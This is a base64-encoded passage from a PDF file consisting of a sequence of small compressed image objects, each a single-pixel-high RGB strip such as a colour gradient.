Q29tcG9uZW50IDgKICAgL1dpZHRoIDMwCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2 aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTAxCj4+CnN0cmVhbQp4 2gFaAKX//vvo//nf59i579atz6Vpt4c9v4Yv0och1Ycb3IcT5YcL6YgF7IoD8ZAF8ZAF95MJ95MJ +ZcQ+5kS+poQ/6AS+6IU6JUL5qEq3KM8/89u89KB//rD///X///l+Jk4pAplbmRzdHJlYW0KZW5k b2JqCjQwNyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAg IC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JT cGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODAKPj4K c3RyZWFtCnjaAUUAuv///d3/9sb/9a/4yFz+xlXurS36pxn/pxX0kwbqgwPrggzPZgDKZgazVQ22 YiStZDm2eVyrfGy2lIrKv73CwsDi6Ojg6egQ3ysFCmVuZHN0cmVhbQplbmRvYmoKNDA4IDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE4Cj4+CnN0cmVhbQp42vv39/Wf v2///nsHACu6CLYKZW5kc3RyZWFtCmVuZG9iago0MDkgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2Jq ZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAy NAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0 ZURlY29kZQogICAvTGVuZ3RoIDgzCj4+CnN0cmVhbQp42gFIALf/7vz/tMv/scn/RmGuSGjLRGjW RWrdSXLoSHLqQGriP2zhSXTlPmveO23gL2LXL2LYOWrhOV/OP1/EOlOwPFKne4bI0tn/1tr/CF0p gAplbmRzdHJlYW0KZW5kb2JqCjQxMCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1 YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAgIC9IZWln aHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAg IC9MZW5ndGggODAKPj4Kc3RyZWFtCnjaAUUAuv/n/uwrjToamC0TpSkJqyILrSMHqh0HqR8CoxkE ohoAnhYAlBQDkhYCiRMGhhUCdBIEaxALZhcUWh5dl2VhlWfE5crL4M8KsxdUCmVuZHN0cmVhbQpl bmRvYmoKNDExIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UK ICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMzMKICAgL0hlaWdodCAxCiAgIC9Db2xv clNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMTAK Pj4Kc3RyZWFtCnjaAWMAnP/No6XbnaKvO0icEiKqCyHFESzMDy3NDi3OES3LFCrOFy3OGy7OHCzQ Hi7SHSzXHizbHy7dHC3oIjPqITTkGjDaEizWFCzaHjfaLkbVMUm3HzSsIzX/kZ//vMn/xND/4u3/ 6PH4qy2yCmVuZHN0cmVhbQplbmRvYmoKNDEyIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAog ICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggOQogICAv SGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29k ZQogICAvTGVuZ3RoIDM4Cj4+CnN0cmVhbQp42gEbAOT/+u33/u33/+z5/+v5/+7817O/17G8/trk +tzmX4YYdgplbmRzdHJlYW0KZW5kb2JqCjQxMyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDEKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCAxMQo+PgpzdHJlYW0KeNr78+sdAAXZAuUKZW5kc3RyZWFtCmVuZG9iago0 MTQgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0 c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzNwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDEyMgo+PgpzdHJl YW0KeNoBbwCQ/+72+e30/+v0/8rW/8jV/3CBxz9SoT1Rqj1TuTlPvDlPvzhRxzVSyjlX0TpZ1jha 1jZY1DVZ0zNa0zVe1DVe0jtk1jtk2D5n3UFn4kNm5EJk4kVi5EVi5Edg3kpg10liv0Zfr0hin3KK uHOKqsXZ8QKjPKkKZW5kc3RyZWFtCmVuZG9iago0MTUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2Jq ZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAy NwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0 ZURlY29kZQogICAvTGVuZ3RoIDkwCj4+CnN0cmVhbQp42nv49vf9t/9jC5eE5+0KyD3tn3PJJ/eG a+Z1l6ybdslXTaPOAJF+0DEg0vE6pOu+z8Btr4HTJgPHtcb2qw2spxvYdueUbz94/s2RS7df/vj9 5scXAO92LCMKZW5kc3RyZWFtCmVuZG9iago0MTYgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0 CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNwog ICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURl Y29kZQogICAvTGVuZ3RoIDkyCj4+CnN0cmVhbQp42gFRAK7//+zu/6+/vEtfzUNcqQYjqQYjvRUv uhgvthksrBEhwB8xwR4xuRImvREnwA4mzRUv0RMvygQlxwUn1Rw+rBI2nBk7qDZXoDtZ6Ke9/+L2 /+j3nZskGQplbmRzdHJlYW0KZW5kb2JqCjQxNyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIyCiAg IC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVj b2RlCiAgIC9MZW5ndGggNzcKPj4Kc3RyZWFtCnjaAUIAvf/25un/4+juvMX8tsGrMUawIDvBGDfR EzW/ACK/ACK4CymtECueECiABhtzDB+uTV6gU2PAjpfNpqvGqa3VwcPSwsOR7iHxCmVuZHN0cmVh bQplbmRvYmoKNDE4IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMzEKICAgL0hlaWdodCAxCiAgIC9D b2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAx MDQKPj4Kc3RyZWFtCnjaAV0Aov//++3/5MbpxpzyxY7IikHMiD3QhjHXgR7ZgRXcfgrkggPjggDp hwLqhQHwiA3ziw7zjAnyjQDvjwD3nAXqnRPgniPVmSHJmjLQtGD65Jvw5qv//dj//tv+/uL9/+1R ADqjCmVuZHN0cmVhbQplbmRvYmoKNDE5IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAv U3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjIKICAgL0hl aWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUK ICAgL0xlbmd0aCA3Nwo+PgpzdHJlYW0KeNoBQgC9///56//76P/62vzenti0YOOySe6uKPKtJPSl FeeFAOqDAt10ALxYALpYAcFlGLhnJsF6TsyRb8KUfdWxo8yyseLT1r94KPEKZW5kc3RyZWFtCmVu ZG9iago0MjAgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQog ICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0NvbG9y U3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgxCj4+ CnN0cmVhbQp42jt25/+R2/+jSndFlF8MKbtln3I+sPJ1YMV79/wXIFT40rngqVPhU8fSxw5ljw3T r5gmXbVOuOSUdNkt4bx94NbI9ANx6ZvWbX0MAOyQJ94KZW5kc3RyZWFtCmVuZG9iago0MjEgMCBv YmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNv bXBvbmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rldmlj ZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgzCj4+CnN0cmVhbQp42gFI ALf/5P3nLpI8HZ0wGKouDa8mDa0lB6cfCacfA6AbBJ8dA5oZBJQYCJIZCYwaDIocDYAbDHMXEnAc El0aUpNZVZFbteK5u9y/5//paV0aTQplbmRzdHJlYW0KZW5kb2JqCjQyMiAwIG9iago8PCAKICAg L1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgK ICAgL1dpZHRoIDIKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0Zp bHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNp7+//zu/9fABQXBcEK ZW5kc3RyZWFtCmVuZG9iago0MjMgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0 eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAxCiAgIC9IZWlnaHQg MQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9M ZW5ndGggMTEKPj4Kc3RyZWFtCnjae/n3DwAFtALjCmVuZHN0cmVhbQplbmRvYmoKNDI0IDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMzgKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VS R0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMjUKPj4Kc3RyZWFtCnjaAXIA jf//ztTLa3fhYHS0ES65Dyy8DSq8Dy26ECq7Eyy9FirAFSjCFynGFSfQEynUEyjYEinjGS/kGS/c ESfZEyrWFCzeIDnVHjTUHjXLFSzJFS7bKkbAHjawJD6hL0aQN0u+dYb1u8fuv8n/2+b+3eb/6Oz/ 7vOaYzWXCmVuZHN0cmVhbQplbmRvYmoKNDI1IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAog ICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMTcKICAg L0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNv ZGUKICAgL0xlbmd0aCA1OQo+PgpzdHJlYW0KeNr7//br/0dv/j/9AEL33/6/+/r4zGX5zkGFTkEN 3tFAdGzyov83n/+/8+L/wzf/Hr379fYLAAv1JzYKZW5kc3RyZWFtCmVuZG9iago0MjYgMCBvYmoK PDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBv bmVudCA4CiAgIC9XaWR0aCAzNgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDExNAo+PgpzdHJlYW0KeNo7ceZ9 e8+mtt7todH99u6tNu6dNv5rLf33mPkftQg8YR54yibsvHXEBZuoS9YxF6Ao+pJF9HnbpKu2Sded M+66ZDwAIqfU285pt5wyLrvmXHXLOe+Sfcot+7BT2pZle76u3vPi6uP/1578BwAtVThvCmVuZHN0 cmVhbQplbmRvYmoKNDI3IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAv SW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjcKICAgL0hlaWdodCAxCiAg IC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0 aCA5Mgo+PgpzdHJlYW0KeNoBUQCu/+Pv++Dv/11vn1lttFJpxk1my0tl1EVf1kNf2j1Z1zVRzjVR zC5Lwy5LwytGuyhDtixBtCo8qi0+pi8+pSs6jy08gWZyrL7L68DN3ev4/+74+smTKygKZW5kc3Ry ZWFtCmVuZG9iago0MjggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9J bWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAzCiAgIC9IZWlnaHQgMQogICAv Q29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGgg MTgKPj4Kc3RyZWFtCnjae/P/7+v//179+wsAK2QItgplbmRzdHJlYW0KZW5kb2JqCjQyOSAwIG9i ago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29t cG9uZW50IDgKICAgL1dpZHRoIDI5CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNl UkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggOTgKPj4Kc3RyZWFtCnjaAVcA qP//3+jns7/2rrzBXnLFXnGOHTGaHDKfGi+hFiuwFi6yFC27FzC/FS/BDiu+ByPBBiPLCinLCinY FjjUFz3QGkO0CC6vCy67LEr/hqHxjqP/1OL/6fL/7fLuWyoaCmVuZHN0cmVhbQplbmRvYmoKNDMw IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQ ZXJDb21wb25lbnQgOAogICAvV2lkdGggMgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rl dmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDE0Cj4+CnN0cmVhbQp4 2nv399u7v98AFB0FwwplbmRzdHJlYW0KZW5kb2JqCjQzMSAwIG9iago8PCAKICAgL1R5cGUgL1hP YmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRo IDI3CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggOTIKPj4Kc3RyZWFtCnjaAVEArv/78O7/7e7/7vH/6fH/2+bu kKD+iZyuKkG1J0HGIUG8ETPAEDS4DS+wDzCsETCMDiZ+FChyGyuTV2GGXGDAnJ65n6K5q6vXy83S zMzz7e3x7ezsVS/QCmVuZHN0cmVhbQplbmRvYmoKNDMyIDAgb2JqCjw8IAogICAvVHlwZSAvWE9i amVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGgg MzMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxh dGVEZWNvZGUKICAgL0xlbmd0aCAxMTAKPj4Kc3RyZWFtCnjaAWMAnP/57eH/7dncvZ7fvZjGm3Cy ej+5eTG5cCHNeRfReQ/efg7ifQfpfAPoewLmfQDqhwXmigHokwXrmw7mnRDnoBTjoRfcoyDpszfj tED+1nT613n/857/+7z/+8r//dX/+eb/+euCaz7SCmVuZHN0cmVhbQplbmRvYmoKNDMzIDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMjUKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VS R0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4Ngo+PgpzdHJlYW0KeNoBSwC0 ////7f//3//60P/6uf/4qPvZgv/Xb+quNOikJe+jHPiiG/ugHPCRE950B9t0FcBhD6xuPaNxTKSB ZZyCca6YjcazrMO0r9/U0t3U1eSuMY8KZW5kc3RyZWFtCmVuZG9iago0MzQgMCBvYmoKPDwgCiAg IC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4 CiAgIC9XaWR0aCAyOQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAv RmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDk4Cj4+CnN0cmVhbQp42gFXAKj/6fz/5/r/ boS+SmW0Rma9UnXTS3TdSnTgTnnqS3ruPm/oO23mO27jQ3flRHfkNmbSOWTXOmPZSG/oSW3lRmfa PFrIPlvBVnDHfpbgf5ba4Pb/4/j/7f//tP40QQplbmRzdHJlYW0KZW5kb2JqCjQzNSAwIG9iago8 PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9u ZW50IDgKICAgL1dpZHRoIDM5CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdC CiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTI4Cj4+CnN0cmVhbQp42gF1AIr/ 8P/s7Pzh4//b1P/RK5Y4G50wE6MqDKcnDKIlB5weCpofBJIYB5EaBIsVBYUUB4UXCYIYDIEZCngX B24SCWwSD2YVMIQ2M4Q4gsuEh8eKy//N1v/W2v/Z2f/a3f/e6P/m6f/o6/7o7//s7//t7v/t7v/w 7v7xkGRBUAplbmRzdHJlYW0KZW5kb2JqCjQzNiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDcyCiAg IC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVj b2RlCiAgIC9MZW5ndGggMjI3Cj4+CnN0cmVhbQp42gHYACf/8+7o69PR/crPzHB/njFEoy1Djw0l lQslqRYyuBc2vRQztggpugcnxAYo0RIz0BEw0RQw0BMv0BYuzhgvzBkuzBku0Rwv0Rwv1R4y2B0y 3Bw12xo12Bs32yRC1yZDzSNAyyhFxCtH1Udf0Ulf73mJ/6Wz/6q2/8vV/93j/97k/+Dk/+Ll/+bp /+fq/+fq/+bp/+br/+Pp/+Ps/+Ps/97p/93p/9Ti/6m//6S9/4Oe2Fdz11lxmCI6kiU8gSY4kD9Q h0JUzJKhw5Wi+dXh2cXO08jO49rf3d3f4Dl/pgplbmRzdHJlYW0KZW5kb2JqCjQzNyAwIG9iago8 PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9u ZW50IDgKICAgL1dpZHRoIDM4CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdC CiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTI1Cj4+CnN0cmVhbQp42gFyAI3/ zc/olZm8lJnBUF6fS12vPlOsN06sN02wOFCyOVC2NU25L0e1LUe4MEvAMErBOlfPOFbQOFbSPVzZ PWHbPWHbOmHYOmHYOWLYPWbaO2bZQWzfQmzcR23YSmjKT2jERl+zSF+vU2esgpXQhJbEw9fy7v7/ WJY53wplbmRzdHJlYW0KZW5kb2JqCjQzOCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAg L1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI3CiAgIC9I ZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2Rl CiAgIC9MZW5ndGggOTIKPj4Kc3RyZWFtCnjaAVEArv/a7vnX7f9Ua5RRaadGYLVDW7tCWsQ9VMY6 Vcg0T8QvSr0vS7kqRrEqR60oRaMmQ6EpQaElN5snN5YoN5QnN4QqOHVqeKm/zerCzd/l8f/o8fZX Gii5CmVuZHN0cmVhbQplbmRvYmoKNDM5IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAv U3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMzEKICAgL0hl aWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUK ICAgL0xlbmd0aCAxMDQKPj4Kc3RyZWFtCnjaAV0Aov//3OD/2+D0v8XAeoLJd4OeRFCAESGFDx+F BhmNAhetESm9GjXCGDPCES7GDy7BAiTVCDHYBjPaCDXXCjXQEznBEjO3FjWcFCymMUSfNEbfjZnN lpz/4+j96+n47enjhCwmCmVuZHN0cmVhbQplbmRvYmoKNDQwIDAgb2JqCjw8IAogICAvVHlwZSAv WE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lk dGggMjMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAv RmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4MAo+PgpzdHJlYW0KeNoBRQC6//rH0MJ6htZxg68zS8Es TMAbPc0TOtAROskJMsgJMrsIL6MAHpcBHo4XLbBJWqpMXLZ3gKp9hK+Rk76zsbm1stjZ1NfZ1Fvo Ii4KZW5kc3RyZWFtCmVuZG9iago0NDEgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9T dWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCA3MQogICAvSGVp Z2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQog ICAvTGVuZ3RoIDIyNAo+PgpzdHJlYW0KeNoB1QAq///67frkz+G/nOm9kM+aZMB/O8WANb1wHsJx FslwDNJ1C9h0BeB4B+R3AuV4AemAAeiCAPGLA+6NAPCUBfCVCeyWD+eZHeWYIuedMPa5YO+5b/rO kf/qu/nswv/20/342//74P784/z/5Pz/4vv+4/z+5vz+6Pz+6f386P386Pz55vv24P/12vzqwvPZ qPbYovDFd/fFZvG3S/SrKPqrG/OjEPSjC+mZAt2OANuMCcd9Esd7Gbx0IMF8Qbh9UcGPbrmdkbKf mcK4t7y6u9vX2PHt7vHt7iTbkWgKZW5kc3RyZWFtCmVuZG9iago0NDIgMCBvYmoKPDwgCiAgIC9U eXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAg IC9XaWR0aCAyOQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmls dGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDk4Cj4+CnN0cmVhbQp42gFXAKj/1OP/a3+6Z3/H RF6yUm/TUG/ZP2DTPWHbO2LlPGTnPGXjO2XdO2bWQGzXQmzaQmvdPmfbPmfbP2bfRWnhRmnfQ2XT O1rEO1vCTmfEUWi4XXC0wtH8xNPq73Au0QplbmRzdHJlYW0KZW5kb2JqCjQ0MyAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDQ0CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTQzCj4+CnN0cmVhbQp42gGEAHv/5vfn 5vfn7P/rm76WksWMPH86G34kE4MhBn0VAoAVAHQKAG0CAGsEAGgDAGcDAGUCAGEBAGEEAF8EAF4E AFIAAFgGAFgGBl0OCV0PCV0QDmAUEV4WHmsjL3o1L3o3O4NDPIJGPH9KWJhmWZdocap/cqmBbKB6 bpl7c5Z+nr6n2fHj2+/kh8UuowplbmRzdHJlYW0KZW5kb2JqCjQ0NCAwIG9iago8PCAKICAgL1R5 cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAg L1dpZHRoIDY3CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0 ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMjEyCj4+CnN0cmVhbQp42gHJADb//+7t7MXG7cPE xoWN0X+LpENUkBQunQ4snAclpAMktwcruAQnuwMlwAcpwAcpwQgowQoowAwnwg4nyBAoyhAozxMs zxEq2hYu3xo13Rg01g8u1RAu2RQy2Ro51R050x860B85xx82wx01vh81uiI3uSY5tyU4tCc6tCY8 uzBFwDJIwDJItihAuChBrxs1rBYzrBYzshk3sRg2txw7shMxrxUxqBItohoynBoylyA2jiQ41H+S 3pWm05uo4rfB2rvD3cjP8+3x7+7zTNZVrgplbmRzdHJlYW0KZW5kb2JqCjQ0NSAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDQ2CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTQ5Cj4+CnN0cmVhbQp42gGKAHX/7fD/ 0tXoz9Tqp7HUo7Lda32tOUyEOEyLMkWHMkSOP1CoQFOyP1K4M0m5NEm8LUG6N0/NNU7POFPWPFjd O1nbOVvZOFvZNl3WOF/WN2DUO2TWO2TWQGfcRmvgR2reTG3gTG7cUHDXUW/RUnDKVnG+dIvRdIvO rsT2scXq5fb/7f7/7v7/7vz/7v3/4edPPQplbmRzdHJlYW0KZW5kb2JqCjQ0NiAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDMzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTEwCj4+CnN0cmVhbQp42gFjAJz/7f3w 7f3y7v/37v//7f//6v7/yeT/xuP/W3qzWnXCO1W0NlG4NlC+MUy9MUy9LEe4KEOqJ0OkJkGcJ0OX JkKMJkCKKUCMLT+RKzyMLDyKLTt6Lz1ucX+myNTsy9Xh6/X/7fX3Qbk5IQplbmRzdHJlYW0KZW5k b2JqCjQ0NyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAg 